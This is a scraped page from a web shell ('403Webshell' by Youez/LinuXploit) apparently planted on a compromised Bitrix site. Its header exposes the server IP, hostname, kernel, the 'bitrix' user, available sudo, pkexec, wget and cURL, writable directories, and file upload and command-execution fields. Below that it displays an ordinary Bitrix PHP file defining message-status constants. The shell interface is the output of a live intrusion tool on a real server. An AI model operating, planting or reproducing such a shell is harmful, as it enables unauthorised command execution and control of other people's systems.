403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/messageservice/lib/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/messageservice/lib/messagestatus.php
<?php
namespace Bitrix\MessageService;

use Bitrix\Main\Localization\Loc;

Loc::loadMessages(__FILE__);

class MessageStatus
{
	//local queue statuses
	public const PENDING = 0;
	public const ERROR = 1;
	public const EXCEPTION = 2;
	public const DEFERRED = 3;

	//external service statuses
	public const ACCEPTED = 10;
	public const QUEUED = 11;
	public const SENDING = 12;
	public const SENT = 13;
	public const DELIVERED = 14;
	public const UNDELIVERED = 15;
	public const FAILED = 16;
	public const READ = 17;

	public const UNKNOWN = 64;

	public const SEMANTIC_PROCESS = 'process';
	public const SEMANTIC_SUCCESS = 'success';
	public const SEMANTIC_FAILURE = 'failure';

	public static function getDescriptions(?string $language = null): array
	{
		return [
			static::PENDING => Loc::getMessage('MESSAGESERVICE_MESSAGESTATUS_SENDING', null, $language),
			static::ERROR => Loc::getMessage('MESSAGESERVICE_MESSAGESTATUS_ERROR', null, $language),
			static::EXCEPTION => Loc::getMessage('MESSAGESERVICE_MESSAGESTATUS_EXCEPTION', null, $language),
			static::DEFERRED => Loc::getMessage('MESSAGESERVICE_MESSAGESTATUS_DEFERRED',null,  $language),

			static::ACCEPTED => Loc::getMessage('MESSAGESERVICE_MESSAGESTATUS_SENDING', null, $language),
			static::QUEUED => Loc::getMessage('MESSAGESERVICE_MESSAGESTATUS_SENDING', null, $language),
			static::SENDING => Loc::getMessage('MESSAGESERVICE_MESSAGESTATUS_SENDING', null, $language),
			static::SENT => Loc::getMessage('MESSAGESERVICE_MESSAGESTATUS_SENT', null, $language),
			static::DELIVERED => Loc::getMessage('MESSAGESERVICE_MESSAGESTATUS_DELIVERED', null, $language),
			static::UNDELIVERED => Loc::getMessage('MESSAGESERVICE_MESSAGESTATUS_UNDELIVERED', null, $language),
			static::FAILED => Loc::getMessage('MESSAGESERVICE_MESSAGESTATUS_FAILED', null, $language),
			static::READ => Loc::getMessage('MESSAGESERVICE_MESSAGESTATUS_READ', null, $language),
			static::UNKNOWN => Loc::getMessage('MESSAGESERVICE_MESSAGESTATUS_SENDING', null, $language),
		];
	}

	public static function getSemantics(): array
	{
		return [
			static::PENDING => static::SEMANTIC_PROCESS,
			static::ERROR => static::SEMANTIC_FAILURE,
			static::EXCEPTION => static::SEMANTIC_FAILURE,
			static::DEFERRED => static::SEMANTIC_PROCESS,

			static::ACCEPTED => static::SEMANTIC_PROCESS,
			static::QUEUED => static::SEMANTIC_PROCESS,
			static::SENDING => static::SEMANTIC_PROCESS,
			static::SENT => static::SEMANTIC_SUCCESS,
			static::DELIVERED => static::SEMANTIC_SUCCESS,
			static::UNDELIVERED => static::SEMANTIC_FAILURE,
			static::FAILED => static::SEMANTIC_FAILURE,
			static::READ => static::SEMANTIC_SUCCESS,
			static::UNKNOWN => static::SEMANTIC_PROCESS,
		];
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit